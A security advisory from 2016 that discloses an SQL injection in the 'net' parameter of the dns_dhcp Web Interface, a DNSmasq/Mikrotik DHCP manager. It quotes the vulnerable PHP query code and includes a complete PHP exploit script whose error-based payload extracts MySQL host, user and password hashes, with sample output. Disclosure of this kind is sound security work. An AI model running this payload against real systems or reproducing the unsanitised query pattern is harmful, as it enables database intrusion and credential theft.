[+] Credits: hyp3rlinx 

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/DNS_DHCP-WEB-INTERFACE-SQL-INJECTION.txt

[+] ISR: apparitionsec



Vendor:
====================
tmcdos / sourceforge


Product:
======================
dns_dhcp Web Interface

Download: sourceforge.net/projects/dnsmasq-mikrotik-admin/?source=directory

This is a very simple web interface for management of static DHCP leases in DNSmasq and Mikrotik.
It generates config files for DNSmasq and uses RouterOS API to manage Mikrotik. Network devices (usually PCs)
are separated into subnets by department and use triplets (hostname, MAC address, IP address) for identification.
Information is stored in MySQL.



Vulnerability Type:
===================
SQL Injection



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

The 'net' HTTP form POST parameter to dns.php script is not checked/santized and is used directly in MySQL query allowing
attacker to easily exfiltrate any data from the backend database by using SQL Injection exploits.

1) On line 239 of dns.php
$b = str_replace('{FIRMA}',a_select('SUBNET',$_REQUEST['net']),$b);

2) 
dns.php line 187 the a_select function where 2nd argument $_REQUEST['net'] is passed to an concatenated to query ($clause)
and executed on line 194 mysql_query($query). 

function a_select($tbl,$clause,$field='',$where='')
{
  if ($clause==0) return ' ';
  if($field=='') $field=$tbl;
  $query = "SELECT $field FROM $tbl WHERE ";
  if($where=='') $query.='ID='.$clause;
    else $query.=$where;
  $res = mysql_query($query) or trigger_error($query.'<br>'.mysql_error(),E_USER_ERROR);
  if(mysql_num_rows($res)>0) return mysql_result($res,0,0);
    else return ' ';
}



Exploit code(s):
===============

Run from CL...

<?php
#dns_dhcp SQL Injection Exploit
#exfiltrates host, user and password from MySQL
#by hyp3rlinx
#ISR - apparitionsec
#hyp3rlinx.altervista.org
#========================


$victim="localhost";
$url="/dns_dhcp/dns/dns.php";
$port=80;
$r='';

$s = fsockopen($victim, $port, $errno, $errstr, 30);
if(!$s){echo "Cant connect to the fucking server!"; exit();}

$sql="net=1 and (select 1 from(select count(*),concat((select (select concat(0x2b,host,0x2b,user,0x2b,password,0x2b)) from mysql.user limit 1),floor(rand(0)*2))x from mysql.user group by x)a)";

    $out = "POST $url HTTP/1.1\r\n";
    $out .= "Host: $victim\r\n";
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $out .= 'Content-Length: ' . strlen($sql) . "\r\n";
    $out .= "Connection: Close\r\n\r\n";
  
    fwrite($s, $out);
    fwrite($s, $sql);
  
    while (!feof($s)) {
        $r .= fgets($s, 128);
    if(strpos($r,'Duplicate entry')!==FALSE){
      $idx=strpos($r,'Duplicate entry');
      echo substr($r,$idx);
      break;
    }
    }
    fclose($s);
  
/* 
Example result:
Duplicate entry '+localhost+root+*6691484EA6B50DDDE1926A220DA01FA9E575C18A+1' for key 'group_key'
*/
  
  
?>



Disclosure Timeline:
===============================
Vendor Notification:  NA
May 14, 2016 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
High



Description:
==================================================
Request Method(s):        [+] POST


Vulnerable Product:       [+] dns_dhcp Web Interface


Vulnerable Parameter(s):  [+] 'net'
=====================================================

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx